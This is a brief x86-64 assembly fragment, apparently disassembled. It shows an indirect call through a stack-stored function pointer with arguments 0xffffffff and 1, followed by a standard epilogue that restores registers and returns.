mov rax, qword [rbp + 0x588]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x7d8
pop rbx
pop rsi
pop rdi
pop rbp
ret